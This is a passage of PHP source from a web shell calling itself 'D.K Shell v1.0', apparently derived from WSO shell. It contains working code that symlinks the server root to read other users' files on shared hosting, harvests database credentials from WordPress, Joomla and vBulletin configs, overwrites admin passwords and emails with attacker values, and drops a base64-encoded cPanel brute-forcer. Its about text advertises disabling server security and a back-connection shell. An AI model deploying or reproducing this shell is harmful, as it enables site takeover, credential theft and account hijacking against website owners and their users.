  1012.         die('bye!');
  1013. }

  1014. function actionSelfRemove() {

  1015.         if($_POST['p1'] == 'yes')
  1016.                 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1017.                         die('Shell has been removed');
  1018.                 else
  1019.                         echo 'unlink error!';
  1020.     if($_POST['p1'] != 'yes')
  1021.         wsoHeader();
  1022.         echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1023.         wsoFooter();
  1024. }


  1025. function actionsymlink() {
  1026. wsoHeader();
  1027. $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];



  1028.        
  1029.         @mkdir('dk',0777);
  1030. $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1031. $IIIIIIIIII1I =@fopen ('dk/.htaccess','w');
  1032. @fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1033. @symlink('/','dk/root');
  1034. $IIIIIIIIIlIl = basename('_FILE_');
  1035.   
  1036. $file = @implode(@file("/etc/named.conf"));
  1037. $rile = @implode(@file("dk/root/etc/named.conf"));
  1038. if(!$file & !$rile){ echo("# can't ReaD -> [ /etc/named.conf ]<br></br>Try changing the shell chmod values to 0755..!!<br />Try copying the shell to the web directory..!!"); wsoFooter();}
  1039. if(!$file & $rile){$file = $rile;}
  1040. preg_match_all("#named/(.*?).db#",$file ,$r);

  1041. $domains = array_unique($r[1]);



  1042. echo "<table align=center border=1 width=59% cellpadding=5>
  1043. <tr><td>Count:</td><td>Domain</td><td>User</td><td>Symlink</td><td>crawl</td></tr>";
  1044. $redf=0;
  1045. foreach($domains as $domain){

  1046. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  1047. $redf++;
  1048. echo "<tr><td>$redf</td><td>$domain</td><td>".$user['name']."</td><td><a href='dk/root/home/".$user['name']."/public_html' target='_blank'>$domain </a></td>";
  1049. //echo "<td><form onsubmit="g('crawl',null,null,this.k.value);return false;"><input type=submit name=k value='>></tr>";
  1050. echo '<td><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'crawl\',null,null,null,\''.$domain.'\')">Crawl </a></td></tr>';
  1051. }

  1052. echo "</table>";
  1053.        
  1054.         wsoFooter();
  1055. }

  1056. function actionpasschanger() {

  1057. if(isset($_POST['p3']))
  1058. {
  1059. $domainn = $_POST['p3'];
  1060. $thelinks = explode("}", $domainn);
  1061. $thelink = $thelinks[0];
  1062. $isjoomla = $thelinks[1];
  1063. $domain2 = $thelinks[2];
  1064. wsoHeader();
  1065. if ($isjoomla == "wp")
  1066. {
  1067. $db = "define('DB_NAME', ";
  1068. $user = "define('DB_USER', ";
  1069. $password = "define('DB_PASSWORD', ";
  1070. $thecontent = file_get_contents($thelink);
  1071. //
  1072. $extracted = strpos($thecontent, $db);
  1073. $extracted = substr($thecontent, $extracted, 50);
  1074. $extracted = explode("'", $extracted);
  1075. $db = $extracted[3];
  1076. //echo $db;
  1077. $extracted = strpos($thecontent, $user);
  1078. $extracted = substr($thecontent, $extracted, 50);
  1079. $extracted = explode("'", $extracted);
  1080. $user = $extracted[3];
  1081. //echo $user;
  1082. $extracted = strpos($thecontent, $password);
  1083. $extracted = substr($thecontent, $extracted, 50);
  1084. $extracted = explode("'", $extracted);
  1085. $password = $extracted[3];
  1086. //echo $password;


  1087. mysql_connect("localhost", $user, $password) or die(mysql_error());
  1088. echo "<br/><center>Connected to MySQL<br /><br />";
  1089. mysql_select_db($db) or die(mysql_error());
  1090. echo "Connected to Database<br/>";
  1091. $result = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_login='admin'");
  1092. $result1 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='1'");
  1093. $result2 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='2'");
  1094. $result3 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='3'");


  1095. $result4 = mysql_query("UPDATE wp_users SET user_email='interestingpal@gmail.com' WHERE user_login='admin'");
  1096. $result5 = mysql_query("UPDATE wp_users SET  WHERE user_login='Admin'");

  1097. $result6 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_email='interestingpal@gmail.com'");

  1098. $query25 = mysql_query("SELECT * FROM wp_users WHERE user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1'");



  1099. $row25 = mysql_fetch_array( $query25 );

  1100. echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";

  1101. echo "<b><a href=http://www.".$domain2.">".$row25['user_login']."</a></b>  <br/>";


  1102. }
  1103. elseif ($isjoomla == "jm")
  1104. {
  1105. $db = 'var $db =';
  1106. $user = 'var $user =';
  1107. $password = 'var $password =';
  1108. $thecontent = file_get_contents($thelink);
  1109. //
  1110. $extracted = strpos($thecontent, $db);
  1111. $extracted = substr($thecontent, $extracted, 50);
  1112. $extracted = explode("'", $extracted);
  1113. $db = $extracted[1];
  1114. //echo $db;
  1115. $extracted = strpos($thecontent, $user);
  1116. $extracted = substr($thecontent, $extracted, 50);
  1117. $extracted = explode("'", $extracted);
  1118. $user = $extracted[1];
  1119. //echo $user;
  1120. $extracted = strpos($thecontent, $password);
  1121. $extracted = substr($thecontent, $extracted, 50);
  1122. $extracted = explode("'", $extracted);
  1123. $password = $extracted[1];
  1124. //echo $password;
  1125. mysql_connect("localhost", $user, $password) or die(mysql_error());
  1126. echo "<br/><center>Connected to MySQL<br /><br />";
  1127. mysql_select_db($db) or die(mysql_error());
  1128. echo "Connected to Database<br/>";

  1129. // Insert a row of information into the table "example"
  1130. //mysql_query("INSERT INTO jos_users(name, username) VALUES('dkshell', 'dkshell' ) ") or die(mysql_error());
  1131. $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='24'");
  1132. //$query24 = mysql_query("SELECT * FROM jos_users WHERE gid='24'");


  1133. $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='25'");
  1134. //$query25 = mysql_query("SELECT * FROM jos_users WHERE gid='25'");


  1135. $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='26'");
  1136. //$query26 = mysql_query("SELECT * FROM jos_users WHERE gid='26'");

  1137. $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='admin'");
  1138. $result = mysql_query("UPDATE jos_users SET email='interestingpal@gmail.com' WHERE username='admin'");
  1139. $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='Admin'");
  1140. //$result = mysql_query("UPDATE jos_users SET block='0' WHERE name='dkshell'") or die(mysql_error());
  1141. //$result = mysql_query("UPDATE jos_users SET usertype='Super Administrator' WHERE name='dkshell'") or die(mysql_error());
  1142. //$result = mysql_query("UPDATE jos_users SET sendEmail='1' WHERE name='dkshell'") or die(mysql_error());
  1143. //$result = mysql_query("UPDATE jos_users SET gid='25' WHERE name='dkshell'") or die(mysql_error());
  1144. //$result = mysql_query("UPDATE jos_users SET registerDate='2012-02-24 17:20:44' WHERE name='dkshell'") or die(mysql_error());
  1145. //$result = mysql_query("UPDATE jos_users SET lastvisitDate='0000-00-00 00:00:00' WHERE name='dkshell'") or die(mysql_error());
  1146. //$result = mysql_query("SELECT * FROM jos_users WHERE name='daryl'") or die(mysql_error());  

  1147. // get the first (and hopefully only) entry from the result

  1148. $query25 = mysql_query("SELECT * FROM jos_users WHERE password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF'");
  1149. $row25 = mysql_fetch_array( $query25 );

  1150. echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";
  1151. echo "<b><a href=http://www.".$domain2.">".$row25['username']."</b>  <br/></center>";

  1152. }
  1153. elseif ($isjoomla == "vb")
  1154. {
  1155. $db = "config['Database']['dbname'] = '";
  1156. $user = "config['MasterServer']['username'] = '";
  1157. $password = "config['MasterServer']['password'] = '";
  1158. $thecontent = file_get_contents($thelink);
  1159. //
  1160. $extracted = strpos($thecontent, $db);
  1161. $extracted = substr($thecontent, $extracted, 50);
  1162. $extracted = explode("'", $extracted);
  1163. $db = $extracted[5];
  1164. //echo $db;
  1165. $extracted = strpos($thecontent, $user);
  1166. $extracted = substr($thecontent, $extracted, 50);
  1167. $extracted = explode("'", $extracted);
  1168. $user = $extracted[5];
  1169. //echo $user;
  1170. $extracted = strpos($thecontent, $password);
  1171. $extracted = substr($thecontent, $extracted, 50);
  1172. $extracted = explode("'", $extracted);
  1173. $password = $extracted[5];
  1174. //echo $password;


  1175. mysql_connect("localhost", $user, $password) or die(mysql_error());
  1176. echo "<br/><center>Connected to MySQL<br /><br />";
  1177. mysql_select_db($db) or die(mysql_error());
  1178. echo "Connected to Database<br/>";


  1179. $result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE usertitle='Administrator'");
  1180. $result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE usertitle='Administrator'");
  1181. $result = mysql_query("UPDATE user SET email='interestingpal@gmail.com' WHERE usertitle='Administrator'");
  1182. $result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE userid='1'");
  1183. $result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE userid='1'");


  1184. $query25 = mysql_query("SELECT * FROM user WHERE password='32c07513a635525a9eca5389e9bb3203'");



  1185. $row25 = mysql_fetch_array( $query25 );

  1186. echo "<br/><br/>The Password is <b>McK7jjBq</b> for the usernames given below ::<br/><br/>";

  1187. echo "<b><a href=http://www.".$domain2.">".$row25['username']."</a></b>  <br/>";

  1188. }
  1189. else
  1190. {
  1191. }
  1192. }

  1193. wsoFooter();





  1194. }

  1195. function actioncrawl() {
  1196. wsoHeader();
  1197. $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1198. $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
  1199. $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
  1200. $isjoomla = "0";
  1201. if(isset($_POST['p3']))
  1202. {
  1203. $domainn = $_POST['p3'];

  1204. $userr = posix_getpwuid(@fileowner("/etc/valiases/".$domainn));

  1205. echo "<table align='center' width='40%' class='main' ><tr><td> Results: </td></tr>";

  1206. $IIIIIIIII1l1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/wp-config.php';
  1207. $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
  1208. $IIIIIIIII11l=$IIIIIIIII11I[0];
  1209. $IIIIIIIII111=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/blog/wp-config.php';
  1210. $IIIIIIIIlIII=get_headers($IIIIIIIII111);
  1211. $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
  1212. $IIIIIIIIlII1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/configuration.php';
  1213. $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
  1214. $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
  1215. $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/joomla/configuration.php';
  1216. $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
  1217. $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
  1218. $IIIIIIIIlI11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/includes/config.php';
  1219. $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
  1220. $IIIIIIIIllIl=$IIIIIIIIllII[0];
  1221. $IIIIIIIIllI1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/vb/includes/config.php';
  1222. $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
  1223. $IIIIIIIIllll=$IIIIIIIIlllI[0];
  1224. $IIIIIIIIlll1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/forum/includes/config.php';
  1225. $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
  1226. $IIIIIIIIll1l=$IIIIIIIIll1I[0];
  1227. $IIIIIIIIll11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'public_html/clients/configuration.php';
  1228. $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
  1229. $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
  1230. $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/support/configuration.php';
  1231. $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
  1232. $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
  1233. $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
  1234. $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
  1235. $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
  1236. $IIIIIIIIl11l=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/submitticket.php';
  1237. $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
  1238. $IIIIIIII1III=$IIIIIIIIl111[0];
  1239. $IIIIIIII1IIl=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
  1240. $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
  1241. $IIIIIIII1IlI=$IIIIIIII1II1[0];
  1242. $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
  1243. $IIIIIIII1I1I='&nbsp;';
  1244. if (strpos($IIIIIIIII11l,'200') == true )
  1245. {
  1246. $IIIIIIII1I1I="<td><a href='".$IIIIIIIII1l1."' target='_blank'>".$domainn." [Wordpress]</a></td>";
  1247. $isjoomla = "wp";
  1248. $thelink = $IIIIIIIII1l1;
  1249. $domain2 = $domainn . '/wp-login.php';
  1250. }
  1251. elseif (strpos($IIIIIIIIlIIl,'200') == true)
  1252. {
  1253. $IIIIIIII1I1I="<td><a href='".$IIIIIIIII111."' target='_blank'>".$domainn." [Wordpress]</a></td>";
  1254. $isjoomla = "wp";
  1255. $thelink = $IIIIIIIII111;
  1256. $domain2 = $domainn . '/blog/wp-login.php';
  1257. }
  1258. elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )
  1259. {
  1260. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIl11l."' target='_blank'>".$domainn." [WHMCS]</a></td>";
  1261. }
  1262. elseif (strpos($IIIIIIIIl1lI,'200')  == true)
  1263. {
  1264. $IIIIIIII1I1I ="<td> <a href='".$IIIIIIIIl1I1."' target='_blank'>".$domainn." [WHMCS]</a></td>";
  1265. }
  1266. elseif (strpos($IIIIIIIIl11I,'200')  == true)
  1267. {
  1268. $IIIIIIII1I1I =" <td><a href='".$IIIIIIIIl1ll."' target='_blank'>".$domainn." [WHMCS]</a></td>";
  1269. }
  1270. elseif (strpos($IIIIIIIIlIll,'200')  == true)
  1271. {
  1272. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlII1."' target='_blank'>".$domainn." [Joomla]</a></td>";
  1273. $isjoomla = "jm";
  1274. $thelink = $IIIIIIIIlII1;
  1275. $domain2 = $domainn . '/administrator/';
  1276. }
  1277. elseif (strpos($IIIIIIIIlI1l,'200')  == true)
  1278. {
  1279. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlIl1."' target='_blank'>".$domainn." [Joomla]</a></td>";
  1280. $isjoomla = "jm";
  1281. $thelink = $IIIIIIIIlIl1;
  1282. $domain2 = $domainn . '/joomla/administrator/';
  1283. }
  1284. elseif (strpos($IIIIIIIIllIl,'200')  == true)
  1285. {
  1286. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlI11."' target='_blank'>".$domainn." [vBulletin]</a></td>";
  1287. $isjoomla = "vb";
  1288. $thelink = $IIIIIIIIlI11;
  1289. $domain2 = $domainn;
  1290. }
  1291. elseif (strpos($IIIIIIIIllll,'200')  == true)
  1292. {
  1293. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIllI1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
  1294. $isjoomla = "vb";
  1295. $thelink = $IIIIIIIIllI1;
  1296. $domain2 = $domainn;
  1297. }
  1298. elseif (strpos($IIIIIIIIll1l,'200')  == true)
  1299. {
  1300. $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlll1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
  1301. $isjoomla = "vb";
  1302. $thelink = $IIIIIIIIlll1;
  1303. $domain2 = $domainn;
  1304. }
  1305. else
  1306. {
  1307. //continue;
  1308. $IIIIIIII1I1l = $userr ;
  1309. $IIIIIIII1I1I='<tr><td><a href=/dk/root/home/'.$userr['name'].'/public_html/>'.$domainn.'[Custom Website]</a></td><td></td></tr>';
  1310. }
  1311. echo $IIIIIIII1I1I;
  1312. }

  1313. echo "</center></table><br></br><br><br>";  
  1314. $saying = $thelink . '}' . $isjoomla . '}' . $domain2;
  1315. if ($isjoomla == "wp" || $isjoomla == "vb" || $isjoomla == "jm")
  1316. {
  1317. echo '<center><h3><b><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'passchanger\',null,null,null,\''.$saying.'\')"> [Change Password] </a></b></center></h3>';   
  1318. }

  1319. wsoFooter();
  1320. }

  1321. function actionabout() {
  1322. wsoHeader();
  1323. echo '<div class=header>  ';

  1324.     echo "<pre>

  1325.        
  1326.                                               D.K Shell v1.0
  1327.                                                                                   
  1328.           
  1329.                                D.K Shell (c)oded by b47chguru & Lnx Root for ICF
  1330.        
  1331.           D.K shell is made on the same architecture of WSO shell. D.K shell is a professional web shell..
  1332.           It has all the features to bust the security..including disabling mod_security , disabling php safe mode,
  1333.           Symlink,webcrawler, auto-admin password changer for vbulletin,joomla,Wordpress...etc,
  1334.           perl cgi scipt compatibility and a better backconnection script.For any doubts or queries on D.K shell
  1335.           mail me at interestingpal@gmail.com
  1336.        Note:The security on the webserver is completely disabled when clicked on the 'safemode' link and the default port for php backconnection is 70
  1337.           
  1338.                 Special Thanks to Archith Kp who helped generously throughout the project..!!
  1339.                                
  1340.                                
  1341.                                
  1342.                                
  1343.          </pre></div>";
  1344. wsoFooter();
  1345. }
  1346. function actionBruteforce() {
  1347.         wsoHeader();
  1348.        
  1349.        
  1350.        

  1351. $file = fopen($dir."dkcpanel.php" ,"w+");
  1352. $sa=base64_decode('PD9waHANCiRjcGFuZWxfcG9ydD0iMjA4MiI7DQokY29ubmVjdF90aW1lb3V0PTU7DQpzZXRfdGltZV9saW1pdCgwKTsNCiRzdWJtaXQ9JF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ZXJjb2xvcmRhcms9IiMwMDM3MDAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+VXNlciBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj5QYXNzd29yZCBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9InVzZXJzIiBjb2xzPSIyNSIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYW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21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJjcGFuZWwiIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENwYW5lbDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMDgyKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj48Yj4gPC9iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtc2l6ZTogMTJwdDsiIHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0iY3JhY2t0eXBlIiB2YWx1ZT0iY3BhbmVsMiIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRlbG5ldDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMyk8L2ZvbnQ+PC9iPjxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSI+PGI+IDwvYj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQ7Ij48Zm9udCBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImZ0cCIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPkZ0cCA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMSk8L2ZvbnQ+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPlRpbWVvdXQgZGVsYXk8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29ubmVjdF90aW1lb3V0IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJGNvbm5lY3RfdGltZW91dDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYnJ1dGVmb3JjZSIgdmFsdWU9InRydWUiPjxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5CcnV0ZWZvcmNlPC9zcGFuPjwvaW5wdXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9ImNoYXJzZXQiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtZXJpYyI+TnVtYmVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImxldHRlcnMiPkxldHRlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJzeW1ib2xzIj5TeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJjYXNlIj5Mb3dlciBMZXR0ZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJjYXNlIj5I